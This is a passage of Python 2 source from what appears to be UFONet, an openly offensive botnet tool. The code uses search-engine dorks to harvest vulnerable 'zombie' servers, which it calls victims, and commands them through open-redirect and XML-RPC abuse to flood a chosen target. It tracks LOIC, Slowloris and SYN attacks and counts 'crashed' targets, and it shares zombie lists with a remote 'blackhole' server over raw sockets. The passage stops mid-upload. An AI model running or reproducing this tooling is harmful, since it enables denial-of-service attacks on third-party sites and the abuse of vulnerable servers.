  582. print '-'*25 + "\n"
  583. else:
  584. check_url_link_reply = "Y"
  585. if check_url_link_reply == "n" or check_url_link_reply == "N":
  586. print "Bye!\n"
  587. pass
  588. else:
  589. print "\n" + '='*44
  590. test = self.testing(zombies_found)
  591. else:
  592. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  593. except Exception:
  594. print ("\n[Error] - Something wrong searching using: "+engine+"\n")
  595. # auto-search for 'zombies' (dorks+all_engines+time -> to discover max new zombies)
  596. if options.autosearch:
  597. try:
  598. dorks = self.extract_dorks()
  599. except:
  600. print "\n[Info] Not any dork present at: 'botnet/dorks.txt'. Aborting!\n"
  601. return
  602. engines_list = self.search_engines
  603. stop_flag = False # use a flag to establish an end
  604. try:
  605. self.banner()
  606. print "\nSearching automatically for 'zombies' (WARNING: this may take several time!)\n"
  607. print "[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n"
  608. print '-'*25 + "\n"
  609. zombies_found = []
  610. lz = open(self.zombies_file, 'r')
  611. zombies_army = lz.readlines()
  612. for zombie in zombies_army:
  613. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  614. lz.close()
  615. if not os.path.exists(self.humans_file) == True:
  616. f = open(self.humans_file, 'w')
  617. f.close()
  618. lf = open(self.humans_file, 'r')
  619. restored = lf.readlines()
  620. zombies_restored = len(restored)
  621. lf.close()
  622. if len(restored) > 0:
  623. print "[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  624. if not self.options.forceyes:
  625. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  626. print '-'*25
  627. else:
  628. backup_reply = "Y"
  629. if backup_reply == "n" or backup_reply == "N":
  630. print "\n[Info] Removing data stored and starting a new (auto)search...\n"
  631. os.remove(self.humans_file)
  632. zombies_restored = 0 # flush zombies restored
  633. print '-'*25 + "\n"
  634. else:
  635. print "\n[Info] Restoring data and starting a new (auto)search...\n"
  636. print '-'*25 + "\n"
  637. for zombie in restored:
  638. zombies_found.append(zombie) # add previous data to zombies found pool
  639. total_restored = zombies_restored
  640. while stop_flag == False:
  641. if not os.path.exists(self.humans_file) == True:
  642. f = open(self.humans_file, 'w')
  643. f.close()
  644. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  645. restored = lf.readlines()
  646. lf.close()
  647. zombies_restored = len(restored)
  648. for e in engines_list:
  649. zombies_counter = 0 # use it also as (engine) flag
  650. engine = e
  651. self.options.engine = engine
  652. print '='*44 + '\n'
  653. print("Searching for zombies (with AI mode) using: "+engine+'\n')
  654. print '='*44 + '\n'
  655. for dork in dorks:
  656. print '='*22
  657. print "Dork:", dork
  658. print '='*22 + '\n'
  659. try:
  660. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  661. for zombie in dorked_zombies:
  662. if zombie not in zombies_found: # evade repetitions for zombies found
  663. zombies_found.append(zombie)
  664. if zombie+os.linesep not in restored: # only append new zombies found
  665. with open(self.humans_file, "a") as f:
  666. f.write(str(zombie+os.linesep))
  667. f.close()
  668. zombies_counter = zombies_counter + 1
  669. except:
  670. if zombies_found: # backup new zombies found on exception
  671. for zombie in zombies_found:
  672. if zombie+os.linesep not in restored: # only append new zombies found
  673. with open(self.humans_file, "a") as f:
  674. f.write(str(zombie+os.linesep))
  675. f.close()
  676. if zombies_counter == 0:
  677. print "[Info] - NOT more NEW victims found (by the moment) using: "+engine+"... Let's remove it from queue!\n"
  678. print '-'*25 + "\n"
  679. engines_list.remove(engine) # remove not more results engine from search engines list
  680. if not engines_list: # if search engines empty, call return-exit routine
  681. print "[Info] - Search engines aren't providing more results... Exiting! ;-)\n"
  682. print '-'*25 + "\n"
  683. stop_flag = True # exit flag up
  684. new_zombies = 0 # new zombies counter
  685. f = open(self.zombies_file, 'r')
  686. zz = f.readlines()
  687. f.close()
  688. all_zombies_found = []
  689. for z in zombies_found:
  690. if z.endswith(os.linesep):
  691. z = z.replace(os.linesep, "")
  692. if z not in zz and z+os.linesep not in zz:
  693. new_zombies = new_zombies + 1
  694. all_zombies_found.append(z)
  695. print '='*62
  696. print "\n- Victims found:", len(all_zombies_found), "\n"
  697. print " - Restored:", total_restored
  698. print " - Dorked:", len(all_zombies_found) - total_restored, "\n"
  699. print '-'*32
  700. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  701. print '='*62 + '\n'
  702. if len(zombies_found) > 0:
  703. if not self.options.forceyes:
  704. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  705. print '-'*25
  706. else:
  707. check_backup_reply = "Y"
  708. if check_backup_reply == "n" or check_backup_reply == "N":
  709. if os.path.isfile(self.humans_file):
  710. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  711. print "\n[Info] Temporal data correctly removed...\n"
  712. else:
  713. with open(self.humans_file, "w") as f:
  714. for z in all_zombies_found:
  715. if z.endswith(os.linesep):
  716. z = z.replace(os.linesep, "")
  717. if z not in zz or z+os.linesep not in zz:
  718. f.write(z+os.linesep)
  719. f.close()
  720. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  721. print '-'*25 + "\n"
  722. if new_zombies and new_zombies > 0:
  723. if not self.options.forceyes:
  724. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
  725. print '-'*25 + "\n"
  726. else:
  727. check_url_link_reply = "Y"
  728. if check_url_link_reply == "n" or check_url_link_reply == "N":
  729. print "Bye!\n"
  730. pass
  731. else:
  732. print "\n" + '='*44
  733. test = self.testing(all_zombies_found)
  734. else:
  735. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  736. except Exception:
  737. print ("[Error] - Something wrong (auto)searching...\n")
  738. # test web 'zombie' servers -> show statistics
  739. if options.test:
  740. try:
  741. self.banner()
  742. zombies = self.extract_zombies()
  743. if not zombies:
  744. return
  745. test = self.testing(zombies)
  746. self.update_missions_stats() # update mothership missions stats
  747. except Exception:
  748. print ("\n[Error] - Something wrong testing!\n")
  749. traceback.print_exc()
  750. # test XML-'rpc' pingback vulnerable servers -> update list
  751. if options.testrpc:
  752. try:
  753. self.banner()
  754. rpcs = self.extract_rpcs()
  755. if not rpcs:
  756. return
  757. testrpc = self.testing_rpcs(rpcs)
  758. self.update_missions_stats() # update mothership missions stats
  759. except Exception:
  760. print ("\n[Error] - Something wrong testing XML-RPC servers!\n")
  761. traceback.print_exc()
  762. # check botnet searching for zombies offline
  763. if options.testoffline:
  764. try:
  765. self.banner()
  766. testbotnet = self.testing_offline()
  767. self.update_missions_stats() # update mothership missions stats
  768. except Exception:
  769. print ("\n[Error] - Something wrong checking for offline 'zombies'!\n")
  770. traceback.print_exc()
  771. # check ALL botnet status
  772. if options.testall:
  773. try:
  774. self.banner()
  775. test_all_botnet = self.testing_all()
  776. self.update_missions_stats() # update mothership missions stats
  777. except Exception:
  778. print ("\n[Error] - Something wrong testing ALL botnet status!\n")
  779. traceback.print_exc()
  780. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a target
  781. if options.target:
  782. try:
  783. self.banner()
  784. zombies = self.extract_zombies()
  785. if not zombies:
  786. return
  787. attack = self.attacking(zombies)
  788. self.update_missions_stats() # update mothership missions stats
  789. except Exception:
  790. print ("\n[Error] - Something wrong attacking!\n")
  791. traceback.print_exc()
  792. # inspect target -> inspect target's components sizes
  793. if options.inspect:
  794. try:
  795. self.banner()
  796. print("\nInspecting target to find the best place to attack... SSssh!\n")
  797. print '='*22 + '\n'
  798. self.instance = Inspector(self) # instance main class for inspection operations
  799. inspection = self.instance.inspecting(options.inspect)
  800. self.update_missions_stats() # update mothership missions stats
  801. except Exception, e:
  802. traceback.print_exc()
  803. print ("\n[Error] - Something wrong inspecting... Not any object found!\n")
  804. return #sys.exit(2)
  805. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  806. if options.abduction:
  807. try:
  808. self.banner()
  809. print("\nAbducting target to extract interesting information... Be patient!\n")
  810. print '='*22 + '\n'
  811. self.instance = Abductor(self) # instance main class for abduction operations
  812. abduction = self.instance.abducting(options.abduction)
  813. self.update_missions_stats() # update mothership missions stats
  814. except Exception, e:
  815. traceback.print_exc()
  816. print ("\n[Error] - Something wrong abducting... Not any data stream found!\n")
  817. return #sys.exit(2)
  818. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  819. if options.attackme:
  820. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  821. try:
  822. self.banner()
  823. print("\nOrdering 'zombies' to attack you for benchmarking ;-)\n")
  824. print("[Warning] You are going to reveal your real IP to your zombies...\n")
  825. if not self.options.forceyes:
  826. update_reply = raw_input("Want to continue? (Y/n)")
  827. else:
  828. update_reply = "Y"
  829. if update_reply == "n" or update_reply == "N":
  830. print "\n[Info] Aborting 'Attack-Me' test... Bye!\n"
  831. return
  832. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  833. print "\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash
  834. f = open("alien", "w") # generate random alien worker
  835. f.write(str(self.mothership_hash))
  836. f.close()
  837. print("\nChecking NAT/IP configuration:\n")
  838. nat = self.check_nat()
  839. if self.nat_error_flag == "ON":
  840. return
  841. zombies = self.extract_zombies()
  842. if not zombies:
  843. return
  844. attackme = self.attackme(zombies)
  845. self.update_missions_stats() # update mothership missions stats
  846. except Exception, e:
  847. traceback.print_exc()
  848. print ("\n[Error] - Something wrong redirecting 'zombies' against you...\n")
  849. return #sys.exit(2)
  850. # # crawl target -> crawl target's places
  851. # if options.crawl:
  852. # try:
  853. # self.banner()
  854. # print("\nCrawlering target's links to discover web structure...\n")
  855. # print '='*22 + '\n'
  856. # crawler = self.crawlering()
  857. # except Exception, e:
  858. # print ("[Error] - Something wrong crawlering!\n")
  859. # return #sys.exit(2)
  860. # check/update for latest stable version
  861. if options.update:
  862. self.banner()
  863. try:
  864. print("\nTrying to update automatically to the latest stable version\n")
  865. Updater()
  866. except:
  867. print("\nSomething was wrong!. To have working this feature, you should clone UFONet with:\n")
  868. print("$ git clone https://github.com/epsylon/ufonet\n")
  869. # launch GUI/Web interface
  870. if options.web:
  871. self.create_web_interface()
  872. return
  873. # generate 'blackhole' server to share 'zombies'
  874. if options.blackhole is not None:
  875. self.banner()
  876. try:
  877. blackhole_lib = os.path.abspath(os.path.join('..', 'server')) # add 'blackhole' lib
  878. sys.path.append(blackhole_lib)
  879. from server.blackhole import BlackHole
  880. print("\nInitiating void generation sequence...\n")
  881. print '='*22 + '\n'
  882. app = BlackHole()
  883. app.start()
  884. while True: time.sleep(1)
  885. except KeyboardInterrupt:
  886. print("\nTerminating void generation sequence...\n")
  887. app.collapse()
  888. except Exception, e:
  889. print "[Error] "+str(e)
  890. print("\nSomething was wrong generating 'blackhole'. Aborting...\n")
  891. # download list of 'zombies' from a 'blackhole' IP
  892. if options.dip is not None:
  893. options.download = True
  894. self.blackhole = options.dip
  895. # download list of 'zombies' from server
  896. if options.download:
  897. try:
  898. self.banner()
  899. if options.dip is not None:
  900. print("\nDownloading list of 'zombies' from server "+self.blackhole+" ...\n")
  901. else:
  902. print("\nDownloading list of 'zombies' from server ...\n")
  903. print '='*22 + '\n'
  904. download_list = self.downloading_list()
  905. except Exception, e:
  906. print ("[Error] - Something wrong downloading!\n")
  907. return #sys.exit(2)
  908. # upload list of 'zombies' to a 'blackhole' IP
  909. if options.upip is not None:
  910. options.upload = True
  911. self.blackhole = options.upip
  912. # upload list of 'zombies' to server
  913. if options.upload:
  914. try:
  915. self.banner()
  916. if options.upip is not None:
  917. print("\nUploading list of 'zombies' to server "+self.blackhole+" ...\n")
  918. else:
  919. print("\nUploading list of 'zombies' to server ...\n")
  920. print '='*22 + '\n'
  921. upload_list = self.uploading_list()
  922. except Exception, e:
  923. print ("[Error] - Something wrong uploading!\n"+str(e))
  924. traceback.print_exc()
  925. return #sys.exit(2)
  926. # starting new zombie thread
  927. def connect_zombies(self, zombie):
  928. z=Zombie(self, zombie)
  929. t = threading.Thread(target=z.connect, name=zombie)
  930. t.start()
  931. # single connection handling
  932. def connect_zombie(self, zombie):
  933. z=Zombie(self,zombie)
  934. return z.connect()
  935. def extract_proxy(self, proxy):
  936. sep = ":"
  937. proxy_ip = proxy.rsplit(sep, 1)[0]
  938. if proxy_ip.startswith('http://'):
  939. proxy_ip = proxy_ip.replace('http://', '')
  940. elif proxy_ip.startswith('https://'):
  941. proxy_ip = proxy_ip.replace('https://', '')
  942. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  943. proxy_ip = 'localhost'
  944. proxy_port = proxy.rsplit(sep, 1)[1]
  945. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  946. return proxy_url
  947. def proxy_transport(self, proxy):
  948. proxy_url = self.extract_proxy(proxy)
  949. proxy = urllib2.ProxyHandler({'https': proxy_url})
  950. opener = urllib2.build_opener(proxy)
  951. urllib2.install_opener(opener)
  952. def check_mothership_chargo(self):
  953. f = open(self.zombies_file)
  954. self.zombies = f.readlines()
  955. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  956. self.list_zombies = []
  957. for zombie in self.zombies:
  958. t = urlparse(zombie)
  959. name_zombie = t.netloc
  960. self.list_zombies.append(name_zombie)
  961. self.num_zombies = str(len(self.zombies))
  962. f.close()
  963. f = open(self.aliens_file)
  964. self.aliens = f.readlines()
  965. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  966. self.list_aliens = []
  967. for alien in self.aliens:
  968. t = urlparse(alien)
  969. name_alien = t.netloc
  970. self.list_aliens.append(name_alien)
  971. self.num_aliens = str(len(self.aliens))
  972. f.close()
  973. f = open(self.droids_file)
  974. self.droids = f.readlines()
  975. self.droids = [droid.replace('\n', '') for droid in self.droids]
  976. self.list_droids = []
  977. for droid in self.droids:
  978. t = urlparse(droid)
  979. name_droid = t.netloc
  980. self.list_droids.append(name_droid)
  981. self.num_droids = str(len(self.droids))
  982. f.close()
  983. f = open(self.ucavs_file)
  984. self.ucavs = f.readlines()
  985. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  986. self.list_ucavs = []
  987. for ucav in self.ucavs:
  988. t = urlparse(ucav)
  989. name_ucav = t.netloc
  990. self.list_ucavs.append(name_ucav)
  991. self.num_ucavs = str(len(self.ucavs))
  992. f.close()
  993. f = open(self.rpcs_file)
  994. self.rpcs = f.readlines()
  995. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  996. self.list_rpcs = []
  997. for rpc in self.rpcs:
  998. t = urlparse(rpc)
  999. name_rpc = t.netloc
  1000. self.list_rpcs.append(name_rpc)
  1001. self.num_rpcs = str(len(self.rpcs))
  1002. f.close()
  1003. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1004. return self.total_botnet
  1005. def update_flying_stats(self):
  1006. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1007. with open(self.mothership_stats_file, "w") as f:
  1008. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "crashed": "0"}, f, indent=4) # starting reset
  1009. stats_json_file = open(self.mothership_stats_file, "r")
  1010. data = json.load(stats_json_file)
  1011. stats_json_file.close()
  1012. aflying = data["flying"]
  1013. aflying = str(int(aflying) + 1) # add new flying time
  1014. data["flying"] = aflying
  1015. stats_json_file = open(self.mothership_stats_file, "w+")
  1016. stats_json_file.write(json.dumps(data))
  1017. stats_json_file.close()
  1018. def update_mothership_stats(self):
  1019. stats_json_file = open(self.mothership_stats_file, "r")
  1020. data = json.load(stats_json_file)
  1021. stats_json_file.close()
  1022. acompleted = data["completed"]
  1023. acompleted = str(int(acompleted) + 1) # add new completed attack
  1024. data["completed"] = acompleted
  1025. stats_json_file = open(self.mothership_stats_file, "w+")
  1026. stats_json_file.write(json.dumps(data))
  1027. stats_json_file.close()
  1028. def update_targets_crashed(self):
  1029. stats_json_file = open(self.mothership_stats_file, "r")
  1030. data = json.load(stats_json_file)
  1031. stats_json_file.close()
  1032. tcrashed = data["crashed"]
  1033. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1034. data["crashed"] = tcrashed
  1035. stats_json_file = open(self.mothership_stats_file, "w+")
  1036. stats_json_file.write(json.dumps(data))
  1037. stats_json_file.close()
  1038. def update_missions_stats(self):
  1039. stats_json_file = open(self.mothership_stats_file, "r")
  1040. data = json.load(stats_json_file)
  1041. stats_json_file.close()
  1042. missions = data["missions"]
  1043. missions = str(int(missions) + 1) # add new mission target
  1044. data["missions"] = missions
  1045. stats_json_file = open(self.mothership_stats_file, "w+")
  1046. stats_json_file.write(json.dumps(data))
  1047. stats_json_file.close()
  1048. def update_scanner_stats(self, num):
  1049. stats_json_file = open(self.mothership_stats_file, "r")
  1050. data = json.load(stats_json_file)
  1051. stats_json_file.close()
  1052. scanner = data["scanner"]
  1053. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1054. data["scanner"] = scanner
  1055. stats_json_file = open(self.mothership_stats_file, "w+")
  1056. stats_json_file.write(json.dumps(data))
  1057. stats_json_file.close()
  1058. def update_transferred_stats(self, num):
  1059. stats_json_file = open(self.mothership_stats_file, "r")
  1060. data = json.load(stats_json_file)
  1061. stats_json_file.close()
  1062. transferred = data["transferred"]
  1063. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1064. data["transferred"] = transferred
  1065. stats_json_file = open(self.mothership_stats_file, "w+")
  1066. stats_json_file.write(json.dumps(data))
  1067. stats_json_file.close()
  1068. def update_max_chargo(self, chargo):
  1069. stats_json_file = open(self.mothership_stats_file, "r")
  1070. data = json.load(stats_json_file)
  1071. stats_json_file.close()
  1072. amax_chargo = data["max_chargo"]
  1073. if int(chargo) > int(amax_chargo): # new max chargo found
  1074. amax_chargo = chargo # add new max chargo
  1075. else:
  1076. amax_chargo = data["max_chargo"]
  1077. data["max_chargo"] = amax_chargo
  1078. stats_json_file = open(self.mothership_stats_file, "w+")
  1079. stats_json_file.write(json.dumps(data))
  1080. stats_json_file.close()
  1081. def update_loic_stats(self):
  1082. stats_json_file = open(self.mothership_stats_file, "r")
  1083. data = json.load(stats_json_file)
  1084. stats_json_file.close()
  1085. aloic = data["loic"]
  1086. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1087. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1088. data["loic"] = aloic
  1089. stats_json_file = open(self.mothership_stats_file, "w+")
  1090. stats_json_file.write(json.dumps(data))
  1091. stats_json_file.close()
  1092. def update_loris_stats(self):
  1093. stats_json_file = open(self.mothership_stats_file, "r")
  1094. data = json.load(stats_json_file)
  1095. stats_json_file.close()
  1096. aloris = data["loris"]
  1097. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1098. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1099. data["loris"] = aloris
  1100. stats_json_file = open(self.mothership_stats_file, "w+")
  1101. stats_json_file.write(json.dumps(data))
  1102. stats_json_file.close()
  1103. def update_ufosyn_stats(self):
  1104. stats_json_file = open(self.mothership_stats_file, "r")
  1105. data = json.load(stats_json_file)
  1106. stats_json_file.close()
  1107. aufosyn = data["ufosyn"]
  1108. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1109. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1110. data["ufosyn"] = aufosyn
  1111. stats_json_file = open(self.mothership_stats_file, "w+")
  1112. stats_json_file.write(json.dumps(data))
  1113. stats_json_file.close()
  1114. def uploading_list(self):
  1115. import gzip
  1116. abductions = "abductions.txt.gz"
  1117. troops = "troops.txt.gz"
  1118. robots = "robots.txt.gz"
  1119. drones = "drones.txt.gz"
  1120. reflectors = "reflectors.txt.gz"
  1121. try:
  1122. print("Checking integrity of 'blackhole'...\n")
  1123. if self.options.forcessl:
  1124. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/abductions.txt.gz',
  1125. abductions)
  1126. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/troops.txt.gz',
  1127. troops)
  1128. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/robots.txt.gz',
  1129. robots)
  1130. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/drones.txt.gz',
  1131. drones)
  1132. urllib.urlretrieve('https://'+self.blackhole+'/ufonet/reflectors.txt.gz',
  1133. reflectors)
  1134. else:
  1135. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/abductions.txt.gz',
  1136. abductions)
  1137. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/troops.txt.gz',
  1138. troops)
  1139. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/robots.txt.gz',
  1140. robots)
  1141. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/drones.txt.gz',
  1142. drones)
  1143. urllib.urlretrieve('http://'+self.blackhole+'/ufonet/reflectors.txt.gz',
  1144. reflectors)
  1145. print("Vortex: IS READY!")
  1146. f_in_abductions = gzip.open(abductions, 'rb')
  1147. f_out_abductions = open('abductions.txt', 'wb')
  1148. f_out_abductions.write(f_in_abductions.read())
  1149. f_in_abductions.close()
  1150. f_out_abductions.close()
  1151. os.remove(abductions) # remove .gz file
  1152. num_zombies = 0
  1153. with open('abductions.txt') as f:
  1154. for _ in f:
  1155. num_zombies = num_zombies + 1
  1156. print("\n[Info] - 'Zombies' on 'blackhole': "+ str(num_zombies))
  1157. f_in_robots = gzip.open(robots, 'rb')
  1158. f_out_robots = open('robots.txt', 'wb')
  1159. f_out_robots.write(f_in_robots.read())
  1160. f_in_robots.close()
  1161. f_out_robots.close()
  1162. os.remove(robots) # remove .gz file
  1163. num_robots = 0
  1164. with open('robots.txt') as f:
  1165. for _ in f:
  1166. num_robots = num_robots + 1
  1167. print("[Info] - 'Droids' on 'blackhole' : "+ str(num_robots))
  1168. f_in_troops = gzip.open(troops, 'rb')
  1169. f_out_troops = open('troops.txt', 'wb')
  1170. f_out_troops.write(f_in_troops.read())
  1171. f_in_troops.close()
  1172. f_out_troops.close()
  1173. os.remove(troops) # remove .gz file
  1174. num_aliens = 0
  1175. with open(self.aliens_file) as f:
  1176. for _ in f:
  1177. num_aliens = num_aliens + 1
  1178. print("[Info] - 'Aliens' on 'blackhole' : "+ str(num_aliens))
  1179. f_in_drones = gzip.open(drones, 'rb')
  1180. f_out_drones = open('drones.txt', 'wb')
  1181. f_out_drones.write(f_in_drones.read())
  1182. f_in_drones.close()
  1183. f_out_drones.close()
  1184. os.remove(drones) # remove .gz file
  1185. num_drones = 0
  1186. with open('drones.txt') as f:
  1187. for _ in f:
  1188. num_drones = num_drones + 1
  1189. print("[Info] - 'Drones' on 'blackhole' : "+ str(num_drones))
  1190. f_in_reflectors = gzip.open(reflectors, 'rb')
  1191. f_out_reflectors = open('reflectors.txt', 'wb')
  1192. f_out_reflectors.write(f_in_reflectors.read())
  1193. f_in_reflectors.close()
  1194. f_out_reflectors.close()
  1195. os.remove(reflectors) # remove .gz file
  1196. num_reflectors = 0
  1197. with open('reflectors.txt') as f:
  1198. for _ in f:
  1199. num_reflectors = num_reflectors + 1
  1200. print("[Info] - 'X-RPCs' on 'blackhole' : "+ str(num_reflectors))
  1201. print '-'*12 + '\n'
  1202. if not self.options.forceyes:
  1203. update_reply = raw_input("Want to merge ONLY new 'zombies' into the server? (Y/n)")
  1204. print '-'*25
  1205. else:
  1206. update_reply = "Y"
  1207. if update_reply == "n" or update_reply == "N":
  1208. os.remove('abductions.txt') # remove abductions file
  1209. os.remove('troops.txt') # remove troops file
  1210. os.remove('robots.txt') # remove robots file
  1211. os.remove('drones.txt') # remove drones file
  1212. os.remove('reflectors.txt') # remove reflectors file
  1213. print "\n[Info] - Aborting upload process and cleaning temporal files. Bye!\n"
  1214. return
  1215. else:
  1216. print "\n[Info] - Checking integrity of your list of 'zombies'. Starting test!\n" # only upload valid zombies
  1217. print '='*35
  1218. zombies = self.extract_zombies()
  1219. if not zombies:
  1220. return
  1221. test = self.testing(zombies)
  1222. zombies_community = []
  1223. zombies_added = 0
  1224. f = open('abductions.txt')
  1225. abductions = f.readlines()
  1226. abductions = [abduction.strip() for abduction in abductions]
  1227. f.close()
  1228. fz = open(self.zombies_file)
  1229. zombies = fz.readlines()
  1230. zombies = [zombie.strip() for zombie in zombies]
  1231. fz.close()
  1232. for zombie in zombies:
  1233. if zombie not in abductions:
  1234. zombies_community.append(zombie)
  1235. zombies_added = zombies_added + 1
  1236. else:
  1237. pass
  1238. print("[Info] - New 'zombies' found: " + str(zombies_added))
  1239. aliens = self.extract_aliens()
  1240. if not aliens:
  1241. return
  1242. aliens_community = []
  1243. aliens_added = 0
  1244. f = open('troops.txt')
  1245. troops = f.readlines()
  1246. troops = [troop.strip() for troop in troops]
  1247. f.close()
  1248. fz = open(self.aliens_file)
  1249. aliens = fz.readlines()
  1250. aliens = [alien.strip() for alien in aliens]
  1251. fz.close()
  1252. for alien in aliens:
  1253. if alien not in troops:
  1254. aliens_community.append(alien)
  1255. aliens_added = aliens_added + 1
  1256. else:
  1257. pass
  1258. print("[Info] - New 'aliens' found : " + str(aliens_added))
  1259. droids = self.extract_droids()
  1260. if not droids:
  1261. return
  1262. droids_community = []
  1263. droids_added = 0
  1264. f = open('robots.txt')
  1265. robots = f.readlines()
  1266. robots = [robot.strip() for robot in robots]
  1267. f.close()
  1268. fz = open(self.droids_file)
  1269. droids = fz.readlines()
  1270. droids = [droid.strip() for droid in droids]
  1271. fz.close()
  1272. for droid in droids:
  1273. if droid not in robots:
  1274. droids_community.append(droid)
  1275. droids_added = droids_added + 1
  1276. else:
  1277. pass
  1278. print("[Info] - New 'droids' found : " + str(droids_added))
  1279. ucavs = self.extract_ucavs()
  1280. if not ucavs:
  1281. return
  1282. ucavs_community = []
  1283. ucavs_added = 0
  1284. f = open('drones.txt')
  1285. drones = f.readlines()
  1286. drones = [drone.strip() for drone in drones]
  1287. f.close()
  1288. fz = open(self.ucavs_file)
  1289. ucavs = fz.readlines()
  1290. ucavs = [ucav.strip() for ucav in ucavs]
  1291. fz.close()
  1292. for ucav in ucavs:
  1293. if ucav not in drones:
  1294. ucavs_community.append(ucav)
  1295. ucavs_added = ucavs_added + 1
  1296. else:
  1297. pass
  1298. print("[Info] - New 'drones' found : " + str(ucavs_added))
  1299. rpcs = self.extract_rpcs()
  1300. if not ucavs:
  1301. return
  1302. rpcs_community = []
  1303. rpcs_added = 0
  1304. f = open('reflectors.txt')
  1305. reflectors = f.readlines()
  1306. reflectors = [reflector.strip() for reflector in reflectors]
  1307. f.close()
  1308. fz = open(self.rpcs_file)
  1309. rpcs = fz.readlines()
  1310. rpcs = [rpc.strip() for rpc in rpcs]
  1311. fz.close()
  1312. for rpc in rpcs:
  1313. if rpc not in reflectors:
  1314. rpcs_community.append(rpc)
  1315. rpcs_added = rpcs_added + 1
  1316. else:
  1317. pass
  1318. print("[Info] - New 'X-RPCs' found : " + str(rpcs_added))
  1319. print '-'*12 + '\n'
  1320. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0: # not zombies of any type
  1321. os.remove('abductions.txt') # remove abductions file
  1322. os.remove('troops.txt') # remove troops file
  1323. os.remove('robots.txt') # remove robots file
  1324. os.remove('drones.txt') # remove ucavs file
  1325. os.remove('rpcs.txt') # remove rpcs file
  1326. print("[Info] - Hehehe.. You should try to search for new 'zombies'. These are already in this 'blackhole'. ;-)\n")
  1327. return
  1328. else:
  1329. fc = gzip.open('community_zombies.txt.gz', 'wb')
  1330. for zombie in zombies_community:
  1331. fc.write(zombie.strip()+"\n")
  1332. fc.close()
  1333. os.remove('abductions.txt') # remove abductions file
  1334. fc = gzip.open('community_aliens.txt.gz', 'wb')
  1335. for alien in aliens_community:
  1336. fc.write(alien.strip()+"\n")
  1337. fc.close()
  1338. os.remove('troops.txt') # remove troops file
  1339. fc = gzip.open('community_droids.txt.gz', 'wb')
  1340. for droid in droids_community:
  1341. fc.write(droid.strip()+"\n")
  1342. fc.close()
  1343. os.remove('robots.txt') # remove robots file
  1344. fc = gzip.open('community_ucavs.txt.gz', 'wb')
  1345. for ucav in ucavs_community:
  1346. fc.write(ucav.strip()+"\n")
  1347. fc.close()
  1348. os.remove('drones.txt') # remove drones file
  1349. fc = gzip.open('community_rpcs.txt.gz', 'wb')
  1350. for rpc in rpcs_community:
  1351. fc.write(rpc.strip()+"\n")
  1352. fc.close()
  1353. os.remove('reflectors.txt') # remove reflectors file
  1354. print("[Info] - Starting to upload new 'zombies'...\n")
  1355. try: # open a socket and send data to ufonet_community reciever
  1356. host = self.blackhole
  1357. cport = 9991
  1358. mport = 9990
  1359. try:
  1360. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1361. cs.connect((host, cport))
  1362. cs.send("SEND " + 'community_zombies.txt.gz')
  1363. cs.close()
  1364. f = open('community_zombies.txt.gz', "rb")
  1365. data = f.read()
  1366. f.close()
  1367. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1368. ms.connect((host, mport))
  1369. ms.send(data)
  1370. ms.close()
  1371. os.remove('community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1372. time.sleep(1)
  1373. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1374. cs.connect((host, cport))
  1375. cs.send("SEND " + 'community_aliens.txt.gz')
  1376. cs.close()
  1377. f = open('community_aliens.txt.gz', "rb")
  1378. data = f.read()
  1379. f.close()
  1380. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1381. ms.connect((host, mport))
  1382. ms.send(data)
